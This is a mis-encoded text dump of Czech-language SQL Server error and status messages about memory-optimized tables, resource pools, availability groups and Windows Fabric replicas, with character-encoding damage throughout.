�PY�stup k pameov optimalizovan�m tabulk�m pomoc� �rovn izolace READ COMMITTED je podporov�n pouze pro transakce v re~imu automatick�ho z�pisu. Nen� podporov�n pro explicitn� nebo implicitn� transakce. Zadejte pro pameov optimalizovanou tabulku podporovanou �roveH izolace pomoc� pomocn�ho parametru, jako je napY�klad WITH (SNAPSHOT).

xOperace slou
en� nelze po~adovat u sekund�rn� repliky.

�Fond zdrojo %1!s! neexistuje nebo nebyl konfigurov�n spr�vce zdrojo.

Prov�z�n� s fondem zdrojo nen� u syst�mov� datab�ze %1!s! podporov�no. Tuto operaci lze prov�st pouze v u~ivatelsk� datab�zi.

�Datab�ze %1!s! je aktu�ln prov�z�na s fondem zdrojo. PYed vytvoYen�m vazby je nutn� zruait prov�z�n� datab�ze.

�Datab�zi %1!s! nelze explicitn prov�zat s fondem zdrojo %2!s!. Datab�zi lze prov�zat s u~ivatelsk�m fondem zdrojo.

\Datab�ze %1!s! nem� vazbu na fond zdrojo.

4Vazba byla vytvoYena. Chcete-li za
�t pou~�vat fond zdrojo %2!s!, pYepnte datab�zi %1!s! do re~imu offline a pot� ji opt pYepnte do re~imu online.

�Ulo~enou proceduru %1!s! mohou prov�dt pouze 
lenov� s pevnou rol� sysadmin.

�Nativn kompilovan� modul s ID datab�ze %1!s! a ID objektu %2!s! se neprovedl. Kolekce statistik prov�dn� dotazo se d� povolit jedin v pY�pad, ~e se modul od sv�ho vytvoYen� nebo od restartov�n� datab�ze provedl aspoH jednou.

$Datab�ze @database_id a @xtp_object_id by mly b�t ur
eny tak, aby povolily nebo z�skaly stav kolekce statistik �rovn� dotazu pro proceduru.

�Operace obnoven� datab�ze %1!s! selhala z dovodu nedostatku pamti ve fondu zdrojo %2!s!. Zvyate dostupnou pame ukon
en�m jin�ch aplikac�, zajistte, aby konfigurace pamti SQL Serveru a omezen� pamti fondu zdrojo byly spr�vn�, zkuste to znovu. Dala� informace najdete na adrese http://go.microsoft.com/fwlink/?LinkID=507574.

�Datab�ze se skupinou souboro MEMORY_OPTIMIZED_DATA jsou podporov�ny pouze v 64bitov�ch edic�ch syst�mu SQL Server.

�V t�to edici syst�mu SQL Server nelze datab�zi spustit, proto~e obsahuje skupinu souboro MEMORY_OPTIMIZED_DATA. Informace o funkc�ch podporovan�ch v rozn�ch edic�ch syst�mu SQL Server naleznete v dokumentaci Knihy online.

PPYi pYid�v�n� kontejneru do skupiny souboro MEMORY_OPTIMIZED_DATA doalo k chyb. Mo~n�mi pY�
inami mo~e b�t nedostatek pamti na serveru a dlouh� cesta kontejneru.

�PYi prov�dn� dotazu DMV doalo k vnitYn� chyb. Dovodem jsou pravdpodobn soub~n� operace DDL. Provete dotaz znovu.

�Datab�ze %1!s! pYekro
ila maxim�ln� po
et souboro kontroln�ch bodo XTP a nemo~e d�le podporovat operace z�pisu v trvanliv�ch pameov optimalizovan�ch tabulk�ch. PotYebujete-li dala� informace, obraete se na slu~bu z�kaznick� podpory.

�Pameov optimalizovan� tabulka nemo~e b�t povolena pro funkci Change Data Capture (CDC).

Skupiny souboro s tabulkami MEMORY_OPTIMIZED_DATA, pameov optimalizovan�mi tabulkami a nativn zkompilovan�mi moduly nejsou podporovan�, kdy~ je povolen� odleh
en� sdru~ov�n�. Pokud chcete pou~�vat pameov optimalizovan� funkce, zaka~te odleh
en� sdru~ov�n�.

�Operace upgradu pro datab�zi %1!s! selhala. Dala� podrobnosti najdete v protokolu chyb.

Nepovedlo se vytvoYit sn�mek kolekce z�lo~n�ch souboro pro z�lohov�n� datab�ze %1!s!. Dala� podrobnosti najdete v protokolu chyb.

 Nepovedlo se na
�st informace o souboru kontroln�ho bodu potYebn� pro z�lohov�n� datab�ze %1!s!. Dala� informace najdete v protokolu chyb.

�PYi z�lohov�n� datab�ze %1!s! bylo zjiatno, ~e chyb� soubor MEMORY_OPTIMIZED_DATA s ID %2!s!.

�Nejde prov�st pY�kaz ALTER pro nativn zkompilovan� modul a pYev�st ho tak na modul, kter� nebude nativn�. RozaiYte pY�kaz o mo~nost WITH NATIVE_COMPILATION nebo modul odstraHte a znovu ho vytvoYte.

�Nejde prov�st pY�kaz ALTER pro modul, kter� nen� nativn�, a pYev�st ho tak na nativn zkompilovan� modul. Vynechejte mo~nost WITH NATIVE_COMPILATION nebo modul odstraHte a znovu ho vytvoYte.

xTEXTSIZE mus� b�t 
�slo v rozmez� od -1 do 2147483647.

@Operace Yazen� pYekro
ila limit vyrovn�vac� pamti. Spuatn� ulo~en� procedury bylo pYeruaeno. Dala� informace z�sk�te na webu Knihy online pro SQL Server.

,Oper�tor TOP mo~e vr�tit maxim�ln %1!s! seYazen�ch Y�dko. Po
et po~adovan�ch Y�dko: %2!s!. Sni~te po
et vybran�ch Y�dko nebo zjednoduate dotaz.

�Oper�tor TOP mo~e vr�tit maxim�ln %1!s! Y�dko; bylo po~adov�no %2!s!.

�Operace Yazen� je pY�lia slo~it�. Dala� informace z�sk�te na webu Knihy online pro SQL Server.

PClusterov� slu~ba WSFC je offline.

TCluster slu~by WSFC je offline, tato skupina dostupnosti nen� k dispozici. Tento probl�m mo~e b�t zposoben pot�~emi clusterov� slu~by nebo ztr�tou kvora v clusteru.

HSkupina dostupnosti je offline.

�Skupina dostupnosti je offline a nen� k dispozici. Tento probl�m mo~e b�t zposoben chybou v instanci serveru host�c�ho prim�rn� repliku nebo pYechodem prostYedku skupiny dostupnosti slu~by WSFC do stavu offline.

�Skupina dostupnosti nen� pYipravena na automatick� pYevzet� slu~eb pYi selh�n�.

4Skupina dostupnosti nen� pYipravena na automatick� pYevzet� slu~eb pYi selh�n�. Prim�rn� replika a sekund�rn� replika jsou konfigurov�ny pro automatick� pYevzet� slu~eb pYi selh�n�, sekund�rn� replika vaak nen� pYipravena na automatick� pYevzet� slu~eb pYi selh�n�. Sekund�rn� replika je pravdpodobn nedostupn� nebo se jej� stav synchronizace dat aktu�ln nenach�z� ve stavu synchronizace SYNCHRONIZED.

lNkter� repliky dostupnosti nesynchronizuj� data.

$Nejm�n jedna sekund�rn� replika v t�to skupin dostupnosti je ve stavu synchronizace NOT SYNCHRONIZING a nepYij�m� data z prim�rn� repliky.

pNkter� synchronn� repliky nejsou synchronizov�ny.

PNejm�n jedna synchronn� replika v t�to skupin dostupnosti nen� aktu�ln synchronizov�na. Stav synchronizace repliky mo~e b�t SYNCHONIZING nebo NOT SYNCHRONIZING.

pRole nkter�ch replik dostupnosti nejsou v poY�dku.

�Nejm�n jedna replika dostupnosti v t�to skupin dostupnosti aktu�ln nem� prim�rn� nebo sekund�rn� roli.

`Nkter� repliky dostupnosti jsou odpojen�.

Nejm�n jedna sekund�rn� replika v t�to skupin dostupnosti nen� pYipojena k prim�rn� replice. Stav pYipojen� je DISCONNECTED.

\Role repliky dostupnosti nen� v poY�dku.

�Role t�to repliky dostupnosti nen� v poY�dku. Replika nem� prim�rn� nebo sekund�rn� roli.

LReplika dostupnosti je odpojena.

�Tato sekund�rn� replika nen� pYipojena k prim�rn� replice. Stav pYipojen� je DISCONNECTED.

�Stav synchronizace dat nkter� datab�ze dostupnosti nen� v poY�dku.

�Stav synchronizace dat nejm�n jedn� datab�ze dostupnosti v t�to replice dostupnosti nen� v poY�dku. Jedn�-li se o repliku dostupnosti s asynchronn�m potvrzov�n�m, vaechny datab�ze dostupnosti by mly b�t ve stavu SYNCHRONIZING. Jedn�-li se o repliku dostupnosti se synchronn�m potvrzov�n�m, vaechny datab�ze dostupnosti by mly b�t ve stavu SYNCHRONIZED.

TDatab�ze dostupnosti je pozastavena.

�Synchronizaci dat pro tuto datab�zi dostupnosti byla pozastavena spr�vcem datab�ze nebo syst�mem.

PSekund�rn� datab�ze nen� pYipojena.

�Tato sekund�rn� datab�ze nen� pYipojena ke skupin dostupnosti. Konfigurace t�to sekund�rn� datab�ze je nekompletn�. Informace o pYipojen� sekund�rn� datab�ze ke skupin dostupnosti naleznete na webu Knihy online pro SQL Server.

�Stav synchronizace dat datab�ze dostupnosti nen� v poY�dku.

pStav synchronizace dat t�to datab�ze dostupnosti nen� v poY�dku. Jedn�-li se o repliku dostupnosti s asynchronn�m potvrzov�n�m, vaechny datab�ze dostupnosti by mly b�t ve stavu SYNCHRONIZING. Jedn�-li se o repliku se synchronn�m potvrzov�n�m, vaechny datab�ze dostupnosti by mly b�t ve stavu SYNCHRONIZED.

PReplika dostupnosti nen� pYipojena.

�Tato sekund�rn� replika nen� pYipojena ke skupin dostupnosti. M�-li b�t replika dostupnosti �span pYipojena ke skupin dostupnosti, mus� b�t stav pYipojen� Joined Standalone Instance (1) nebo Joined Failover Cluster (2). Informace o pYipojen� sekund�rn� repliky ke skupin dostupnosti naleznete na webu Knihy online pro SQL Server.

Registrace klienta (ID %1!s!) u spr�vce asynchronn�ch operac� se nezdaYila.  Klient s t�mto ID je ji~ registrov�n.  Zkontrolujte, zda je zadan� ID klienta spr�vn�, a opakujte operaci.  Chcete-li klienta opt zaregistrovat, je nutn� nejprve zruait jeho registraci.

�Zruaen� registrace klienta (ID %1!s!) u spr�vce asynchronn�ch operac� se nezdaYilo.  Klient nen� u spr�vce registrov�n.  Zkontrolujte, zda je zadan� ID klienta spr�vn�, a opakujte operaci.

|Klientovi (ID %1!s!) se nepodaYilo odeslat pr�ci spr�vci asynchronn�ch operac�.  Klient nen� u spr�vce registrov�n.  Zkontrolujte, zda je zadan� ID klienta spr�vn�, a opakujte operaci.

�Spr�vci asynchronn�ch operac� se nepodaYilo pYidlit pracovn� polo~ku pro pr�ci odeslanou klientem (ID %1!s!).  Je mo~n�, ~e spr�vce vy
erpal vaechny dostupn� prostYedky.  Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

Spr�vci asynchronn�ch operac� se nepodaYilo zaYadit do fronty pracovn� polo~ku pro pr�ci odeslanou klientem s ID %1!s! (intern� chyba %2!s!).  Je mo~n�, ~e spr�vce vy
erpal vaechny dostupn� prostYedky.  Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

�PYi prov�dn� asynchronn� operace pro repliku datab�ze (ID odd�lu technologie Windows Fabric %1!s!, operace %2!s!, chyba 0x%3!s!) doalo k chyb.  Dala� informace z�sk�te pomoc� k�du chyby.  Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

�Pro m�stn� repliku s ID odd�lu %1!s! (aktu�ln� stav %2!s!, aktiva
n� ud�lost %3!s!, aktu�ln� epocha [%4!s!,%5!s!], aktiva
n� epocha [%6!s!,%7!s!]) nebyl nalezen platn� pYevod stavu.  Replika nen� ve spr�vn�m stavu potYebn�m k pYijet� pY�kazu technologie Windows Fabric.  Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

�PYi pokusu o pY�stup k seznamu odbratelo vydavatele repliky (ID odd�lu %1!s!, k�d chyby OS SQL 0x%2!s!) doalo k chyb.  Dala� informace z�sk�te pomoc� k�du chyby.  Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

<Odbrateli pYenosu se nepodaYilo zpracovat ud�lost sestaven� sekund�rn� repliky (ID odd�lu %1!s!).  Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

8Odbrateli pYenosu se nepodaYilo zpracovat ud�lost zmny konfigurace repliky (ID odd�lu %1!s!).  Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

Nelze pYidru~it repliku (ID repliky technologie Windows Fabric 0x%1!s!) k zadan�mu odd�lu technologie Windows Fabric (ID %2!s!).  Replika je ji~ pYidru~ena k odd�lu technologie Windows Fabric (ID %3!s!).  Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

`Replika (ID repliky technologie Windows Fabric 0x%1!s!, aktu�ln� stav %2!s!) nemo~e zpracovat pY�kaz aktualizace konfigurace pro odd�l technologie Windows Fabric (ID %3!s!).  Aktualizace konfigurace mohou b�t zpracov�ny pouze prim�rn� replikou.  Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

�PYi 
ek�n� na pY�stup %1!s! k informac�m ulo~en�m v mezipamti v kontroleru repliky (ID repliky technologie Windows Fabric 0x%2!s!, ID odd�lu %3!s!) vyprael 
asov� limit operace.  Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

�NepodaYilo se z�skat pY�stup %1!s! k informac�m ulo~en�m v mezipamti v kontroleru repliky (ID repliky technologie Windows Fabric 0x%2!s!, ID odd�lu %3!s!, chyba OS SQL %4!s!).  Operace byla pravdpodobn pYeruaena.  Dala� informace z�sk�te pomoc� 
�sla chyby OS SQL.  Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

4PYi 
ek�n� na pY�stup %1!s! k seznamu objekto kontrolero replik vyprael 
asov� limit operace.  Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

�NepodaYilo se z�skat pY�stup %1!s! k seznamu objekto kontrolero replik (chyba OS SQL %2!s!).  Operace byla pravdpodobn pYeruaena.  Dala� informace z�sk�te pomoc� 
�sla chyby OS SQL.  Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

�Nepovedlo se naj�t kontroler m�stn� repliky (ID repliky skupiny dostupnosti %1!s!). Zkontrolujte, ~e je zadan� ID skupiny dostupnosti spr�vn�, a opakujte operaci. Pokud s t�m budou probl�my d�l, obraete se na spr�vce syst�mu.

|PYi prov�dn� operace %1!s! v datab�zi %2!s! doalo k chyb (k�d chyby SQL: %3!s!).  Dala� informace z�sk�te pomoc� k�du chyby SQL.  Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

�Slu~b technologie Fabric %1!s! se nepodaYilo prov�st operaci datab�ze %2!s! v datab�zi %3!s! (ID %4!s!).  Datab�ze mo~e b�t ve stavu, kter� nen� spr�vn� k proveden� operace.  Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

(Syst�m SQL Server nemo~e nal�zt konfiguraci repliky s ID %1!s! (ID repliky technologie Windows Fabric %2!s!).  Zkontrolujte, zda jsou spr�vn� zadan� ID odd�lu technologie Windows Fabric a repliky, a opakujte operaci.  Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

�Doalo k pokusu o pY�stup k neexistuj�c�mu nebo neinicializovan�mu odd�lu technologie Windows Fabric %1!s!.  Obvykle se jedn� o vnitYn� stav, napY�klad je inicializov�na nebo ni
ena slu~ba technologie Windows Fabric.

\Doalo k pYechodn� chyb %3!s! technologie Windows Fabric %1!s! (ID odd�lu %2!s!) pYi 
ek�n� na operaci sestaven� repliky v datab�zi %4!s! (ID %5!s!).  Dala� informace o chyb�ch, ke kter�m doalo, naleznete v protokolu chyb syst�mu SQL Server.  Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

�Slu~ba technologie Windows Fabric %1!s! (ID odd�lu %2!s!) se pokoua� aktualizovat informace prim�rn� repliky pro m�stn� repliku %3!s!, kter� nen� typu ACTIVE_SECONDARY ani IDLE_SECONDARY (aktu�ln� role %4!s!).  Syst�m SQL Server nemo~e aktualizovat informace prim�rn� repliky v neplatn�m stavu.  Tato zpr�va je pouze informa
n�.  Nen� vy~adov�na ~�dn� akce u~ivatele.

�Koncov� port zrcadlen� datab�ze nen� dostupn�.  Zkontrolujte, zda je vytvoYen koncov� bod DBM.

�Odstrann� datab�ze %1!s! (ID %2!s!) odd�lu technologie Windows Fabric %3!s! (ID odd�lu %4!s!) se nezdaYilo. Syst�mu SQL Server se nepodaYilo odstranit datab�zi. Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

�VnitYn� vyrovn�vac� pame pro adresu URL replikace nen� dostate
n�.

�PYi prov�dn� operace sestaven� repliky v datab�zi %2!s! (ID %3!s!) pomoc� slu~by technologie Fabric %1!s! se slu~b technologie Fabric nepodaYilo na
�st zn�mou skladovou jednotku produktu (SKU) hardwaru. Zkontrolujte v manifestu clusteru, zda je pro tento typ uzlu definov�na platn� skladov� jednotka produktu (SKU). Pokud pot�~e potrvaj�, obraete se na spr�vce syst�mu.

�Slu~ba Fabric Service %1!s! (odd�l s ID %2!s!) nemo~e pYidlit pracovn� polo~ku pro restartov�n� datab�ze %3!s! (ID %4!s!). Je mo~n�, ~e spr�vce vy
erpal vaechny dostupn� prostYedky. Pokud bude tento stav trvat d�l, kontaktujte spr�vce syst�mu.

Slu~ba Fabric Service %1!s! (odd�l s ID %2!s!) nemo~e zaYadit do fronty pracovn� polo~ku pro restartov�n� datab�ze %3!s! (ID %4!s!). Je mo~n�, ~e spr�vce vy
erpal vaechny dostupn� prostYedky. Pokud bude tento stav trvat d�l, kontaktujte spr�vce syst�mu.

�Datab�ze %1!s! (URI: %2!s!, ID odd�lu %3!s!) se te ne�
astn� relace GeoDR.

�Nepovedlo se na
�st vzd�lenou konfiguraci �lo~iat replik pro datab�zi %1!s! (URI: %2!s!).

�Nepovedlo se na
�st vzd�lenou konfiguraci replik pro datab�zi %1!s! (URI: %2!s!).

�Nepovedlo se odeslat ~�dost 0x%2!s! glob�ln� akce clusteru %1!s!.

8Distribuovanou konfiguraci skupin dostupnosti nebylo pro datab�zi %1!s! (URI: %2!s!, ID odd�lu %3!s!) mo~n� na
�st. Doalo k chyb (k�d chyby: 0x%4!s!).

�Slu~b technologie Fabric %1!s! se nepovedlo prov�st operaci %2!s! v datab�zi %3!s!. Datab�ze mo~e b�t ve stavu, kter� nen� spr�vn� k proveden� operace. Pokud s t�m budou d�l probl�my, kontaktujte spr�vce syst�mu.

PYi zad�v�n� dotazu na vlastnosti Fabric %4!s! doalo k chyb slu~by technologie Fabric %1!s! (ID odd�lu %2!s!) (k�d chyby: 0x%3!s!).

�Pro odd�l %2!s! se pYijala neplatn� vlastnost Fabric %1!s!.

�Nepovedlo se spustit vl�kno reportov�n� chyb bhem spouatn� spr�vce replik.

TNeplatn� ID odd�lu ve spr�vci replik

dSpr�vce replik nen� dostupn� nebo pYipraven�.

�Doalo k chyb datab�ze %1!s! (typ chyby: %2!s! %3!s!) zposobuj�c� selh�n� skupiny dostupnosti %4!s!. Informace o chyb�ch, ke kter�m doalo, najdete v protokolu chyb SQL Serveru. Pokud bude tento stav trvat d�l, kontaktujte spr�vce syst�mu.

�Nepovedlo se spustit 
iatn� neexistuj�c�ho vl�kna datab�z� bhem spouatn� spr�vce replik.

Nepovedlo se spustit vl�kno reportov�n� n�stroje pro vyrovn�v�n� zat�~en� slu~by Windows Fabric bhem spouatn� spr�vce replik.

�Datab�zi %1!s! (ID %2!s!) odd�lu Windows Fabric %3!s! (ID odd�lu '%4!s!') se nepovedlo vol�n� UseDB.

Nepovedlo se automaticky povolit �lo~iat dotazo v datab�zi %1!s! (ID %2!s!) odd�lu Windows Fabric %3!s! (ID odd�lu %4!s!) .

�Kontroln� bod pro datab�zi %1!s! (ID %2!s!) selhal. Doalo k chyb (k�d chyby: 0x%3!s!).

�Slu~ba Windows Fabric %1!s! (ID odd�lu %2!s!) pYijala informa
n� zpr�vu od prim�rn� vzd�len� repliky %3!s! s epochou [%4!s!,%5!s!], kter� je mena� ne~ m�stn� epocha [%6!s!,%7!s!]. SQL Server nemo~e aktualizovat informace prim�rn� repliky z repliky s mena� epochou. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Neexistuj� ~�dn� procesy 
ekaj�c� na DataLossEvent pro Fabric Service %1!s! (ID odd�lu %2!s!).

0V datab�zi %1!s! (ID: %2!s!) odd�lu Windows Fabric %3!s! (ID odd�lu: %4!s!) doalo k v�jimce pYi spouatn� asynchronn�ch �loh v obecn�m odbrateli.

@ek�n� na zjiatn� nov�ho stavu repliky pYed zmnou role GeoDR se nezdaYilo. Chyba: %1!s! pro datab�zi: %2!s!, DBID: %3!s!, AGID: %4!s! a ReplicaID: %5!s!.

8PYi nastavov�n� vlastnosti prostYedko infrastruktury %4!s! doalo k chyb slu~by prostYedko infrastruktury %1!s! (ID odd�lu %2!s!) (k�d chyby: 0x%3!s!).

Nepovedlo se pYej�t na roli serveru pro pYed�v�n� pro fyzickou datab�zi %1!s! (ID %2!s!) odd�lu Windows Fabric %3!s! (ID odd�lu %4!s!).

(V datab�zi %1!s! (ID: %2!s!) odd�lu Windows Fabric %3!s! (ID odd�lu: %4!s!) doalo k v�jimce pYi spouatn� asynchronn�ch �loh v odbrateli RbIo.

��slo objedn�vky zapoj
en� vzd�len�ho souboru tempdb nejde na
�st.

�Syst�mov� zobrazen� souvisej�c� s odd�ly technologie Windows Fabric a s replikami nyn� nejsou dostupn�, proto~e dosud nebyl spuatn spr�vce replik.  Po
kejte na spuatn� spr�vce replik a pak opakujte dotaz na syst�mov� zobrazen�.

�Aktiva
n� kontext nyn� nen� dostupn�.  Modul runtime technologie Windows Fabric nyn� nen� dostupn�, opakujte akci pozdji.  Po
kejte, a~ bude dostupn� aktiva
n� kontext, a opakujte akci.

�Po~adovan� konfigura
n� bal�
ek nyn� nen� dostupn�.  Konfigura
n� bal�
ek nen� sou
�st� aktiva
n�ho kontextu.  Zkontrolujte, zda existuje n�zev po~adovan�ho konfigura
n�ho bal�
ku a zda je ve spr�vn�m form�tu.

�Po~adovan� koncov� bod slu~by nyn� nen� dostupn�.  Koncov� bod slu~by nen� sou
�st� aktiva
n�ho kontextu.  Zkontrolujte, zda existuje n�zev po~adovan�ho koncov�ho bodu slu~by a zda je ve spr�vn�m form�tu.

N�zev zdroje dat nen� ve spr�vn�m form�tu.  N�zev zdroje dat pYekra
uje maxim�ln� d�lku cesty nebo nen� ve spr�vn�m form�tu.  Zkontrolujte, zda je n�zev zdroje dat tvoYen mena�m po
tem znako, ne~ jak� je definov�n hodnotou MAX_PATH, a zda je ve spr�vn�m form�tu.

�N�zev po
�ta
e nen� k dispozici.  N�zev po
�ta
e nebyl vr�cen.

TNen� mo~n� z�skat Fabric NodeContext.

�Nepovedlo se odstranit pameov optimalizovan� kontejner %1!s!.

�Nejde odstranit posledn� pameov optimalizovan� kontejner %1!s!.

<Fyzick� datab�ze OLTP v pamti se restartovala pYi zpracov�v�n� z�znamu protokolu s ID %1!s! pro datab�zi %2!s!. Nen� potYeba prov�dt ~�dn� dala� akce.

�Doalo k intern� chyb datab�ze %1!s! (vyhled�v�n� HkTruncationLsn selhalo). Bude se opakovat pokus o proveden� operace. U~ivatel nebude muset prov�dt ~�dn� akce. Pokud s t�m budou d�l probl�my, kontaktujte z�kaznickou podporou.

�Ve fondu prostYedko %1!s! je nedostatek pamti ke spuatn� t�to operace pro pameov optimalizovan� tabulky. Dala� informace najdete v t�matu http://go.microsoft.com/fwlink/?LinkID=614951.

�Parametr %1!s! ur
en� pro proceduru nebo funkci %2!s! nen� platn�.

�D�vka MARS selhala kvoli poruaen� omezen� jedine
nosti pro pameov optimalizovanou tabulku.

�Aktu�ln� d�vka MARS se pokusila aktualizovat z�znam, kter� aktualizovala jin� d�vka v r�mci stejn� transakce.

�Nativn zkompilovan� aktiva
n� ud�losti nepodporuj� pY�kazy, jejich~ v�stupem je sada v�sledko dotazu.

Ulo~en� procedury volan� z nativn zkompilovan�ch aktiva
n�ch ud�losti nepodporuj� pY�kazy, jejich~ v�stupem je sada v�sledko dotazu.

Fyzick� datab�ze XTP se pYi zpracov�v�n� z�znamu protokolu s ID %1!s! pro datab�zi %2!s! zastavila. Nen� nutn� prov�dt ~�dn� dala� akce.

�PY�kaz ALTER TABLE pro pameov optimalizovan� tabulky nen� podporovan� u soub~n�ch transakc� MARS.

�Zruailo se nasazen� datab�ze XTP %1!s!. Nen� nutn� prov�dt ~�dn� dala� akce.

tProceduru %1!s! nejde volat z u~ivatelsk� transakce.

�Migrace dat pro tabulku s ID %1!s! nejde prov�st, proto~e migrace tabulky u~ prob�h�.

pParametr %1!s! pro proceduru %2!s! nemo~e b�t NULL.

<Pro proceduru %2!s! bylo jako vstup zadan� neplatn� ID objektu %1!s!. ID objekt mus� odkazovat na pameov optimalizovanou tabulku s indexem columnstore.

POperace upgradu pro datab�zi %1!s! selhala pYi pokusu o upgrade komponenty XTP z verze %2!s!.%3!s! na verzi %4!s!.%5!s!. Dala� informace najdete v protokolu chyb.

�D�vka MARS selhala kvoli selh�n� ovYen� pro omezen� ciz�ho kl�
e k pameov optimalizovan� tabulce %1!s!. Jin� prokl�dan� d�vka MARS odstranila nebo aktualizovala Y�dek, na kter� odkazoval Y�dek ciz�ho kl�
e vlo~en� ne�spanou d�vkou.

�D�vka MARS selhala kvoli selh�n� ovYen� pro omezen� ciz�ho kl�
e k pameov optimalizovan� tabulce %1!s!. Jin� prokl�dan� d�vka MARS vlo~ila Y�dek, kter� odkazuje na Y�dek odstrann� ne�spanou d�vkou.

lNa disku nen� dostatek m�sta pro vygenerov�n� souboro kontroln�ch bodo. V dosledku toho je datab�ze v re~imu jen pro odstraHov�n�. V tomto re~imu je povolen� jenom odstraHov�n�.

�Operaci nejde prov�st, proto~e datab�ze dos�hla sv� kv�ty pro tabulky v pamti. Tato chyba mo~e b�t jen pYechodn�, zkuste operaci prov�st znovu. Dala� informace najdete na webu http://go.microsoft.com/fwlink/?LinkID=623028.

�Transakce byla ukon
en� soub~nou operac� ALTER nebo konfliktem typu z�pis z�pis.

�Ulo~enou proceduru %1!s! nejde pou~�t ke zv�aen� limitu u~ivatelsk� pamti v datab�zi.

�Ulo~en� procedura %1!s! se pokusila nastavit ni~a� limit pro kv�tu u~ivatelsk� pamti. Operace se nepovedla, proto~e vyu~it� u~ivatelsk� pamti je vyaa� ne~ zadan� c�lov� hodnota. OdstraHte nkter� u~ivatelsk� data a zkuste operaci znovu.

�Upgrade fyzick� datab�ze XTP %1!s! vy~aduje restart modulu XTP.

�Vytv�Yen� pameov optimalizovan�ch tabulek je do
asn zak�zan�. Zkuste to pros�m znovu pozdji.

<Datab�ze nemo~e pokra
ovat v aktualizaci cenov� �rovn, proto~e obsahuje pameov optimalizovan� objekty. Odeberte pros�m tyto objekty a zkuste to znovu.

|Upgrade fyzick� datab�ze XTP %1!s! restartoval modul XTP.

�Migrace dat pro id tabulky %1!s! se �pln nebo 
�ste
n nepovedla. Podrobnosti najdete v protokolu chyb.

tIndex %1!s! nejde vytvoYit pro tabulku %2!s!, proto~e aspoH jeden kl�
ov� sloupec je ulo~en� mimo Y�dek. Sloupce indexov�ho kl�
e pameov optimalizovan�ch tabulek mus� pro data v Y�dku vyhovovat omezen� %3!s! bajto. Zjednoduate indexov� kl�
 nebo zmenaete velikost sloupco, aby vyhovovaly limitu %4!s! bajto.

hIndex Columnstore %1!s! nejde vytvoYit, proto~e tabulka %2!s! m� sloupce ulo~en� mimo Y�dek. Indexy columnstore se pro pameov optimalizovan� tabulky daj� vytvoYit jenom tehdy, kdy~ sloupce vyhovuj� omezen� %3!s! bajto pro data mimo Y�dek. zmenaete velikost sloupco, aby vyhovovaly limitu %4!s! bajto.

|PY�kaz ALTER TABLE pro %1!s! selhal s k�dem chyby %2!s!.

�PYi pYid�v�n� aifrovac�ch kl�
o do datab�ze XTP %2!s! doalo k chyb (k�d chyby: 0x%1!s!).

Omnoven� protokolu nen� podporovan� pro datab�ze, kter� obsahuj� soubory patY�c� do skupiny souboro MEMORY_OPTIMIZED_DATA.

��prava spouatc� str�nky XTP datab�ze %1!s! vy~aduje restart modulu XTP.

�NepodaYilo se na
�st velikost tohoto souboru z dovodu vnitYn� chyby. Zkuste to pros�m znovu pozdji.

�Transakce pYekro
ila maxim�ln� po
et z�vislost� potvrzen� a posledn� pY�kaz se pYeruail. Opakujte pY�kaz.

�Operaci nejde prov�st, proto~e elastick� fond dos�hl sv� kv�ty pro tabulky v pamti. Tato chyba mo~e b�t jen pYechodn�, zkuste operaci prov�st znovu. Dala� informace najdete na adrese http://go.microsoft.com/fwlink/?LinkID=623028.

�Naala se nekonzistentn� spouatc� str�nka pro datab�zi %1!s!.

�V r�mci t�to transakce se vlo~ilo nebo aktualizovalo pY�lia mnoho Y�dko. V r�mci jedn� transakce mo~ete v pameov optimalizovan�ch tabulk�ch vlo~it nebo aktualizovat maxim�ln 4 294 967 294 Y�dko.

dNejde vytvoYit segment pro tabulku segmento.

�Clusterovan� indexy columnstore nejsou podporov�ny na pameov optimalizovan�ch tabulk�ch s vypo
�tan�mi sloupci.

�Selhalo ovYen� kontroln�ho sou
tu pro pameov optimalizovan� soubor kontroln�ho bodu %1!s!.

pByla zjiatna chyba konzistence pameov optimalizovan� tabulky kontroln�ch bodo. Kontroln� bod %1!s! nem� jedine
n� recoverLsn. PrevLSN = (%2!s!:%3!s!), CurrLSN = (%4!s!:%5!s!).

8Byla zjiatna chyba konzistence pameov optimalizovan� tabulky kontroln�ch bodo. Kontroln� bod %1!s! neodkazuje na z�znam definice segmentu transakce.

`Byla zjiatna chyba konzistence pameov optimalizovan� tabulky segmento. Segmenty nejsou v logick�m prostoru souvisl�. Stara� segment: CkptId = %1!s!, LsnInfo = (%2!s!:%3!s!), TxBegin = %4!s!, TxEnd = %5!s!. Novja� segment: CkptId = %6!s!, LsnInfo = (%7!s!:%8!s!), TxBegin = %9!s!, TxEnd = %10!s!.

�Byla zjiatna chyba konzistence pameov optimalizovan� tabulky segmento. Segmenty nejsou ve spr�vn�m form�tu pro segment: CkptId = %1!s!, LsnInfo = (%2!s!:%3!s!), TxBegin = %4!s!, TxEnd = %5!s!.

�Byla zjiatna chyba konzistence pameov optimalizovan� tabulky segmento. PoYad� definice segmento neodpov�d� (striktn�mu) logick�mu poYad�. Stara� segment: CkptId = %1!s!, LsnInfo = (%2!s!:%3!s!), TxBegin = %4!s!, TxEnd = %5!s!. Novja� segment: CkptId = %6!s!, LsnInfo = (%7!s!:%8!s!), TxBegin = %9!s!, TxEnd = %10!s!.

4Byla zjiatna chyba konzistence pameov optimalizovan� tabulky segmento. Segment obsahuje NullHkLsn. CkptId = %1!s!, Segment LsnInfo = (%2!s!:%3!s!)

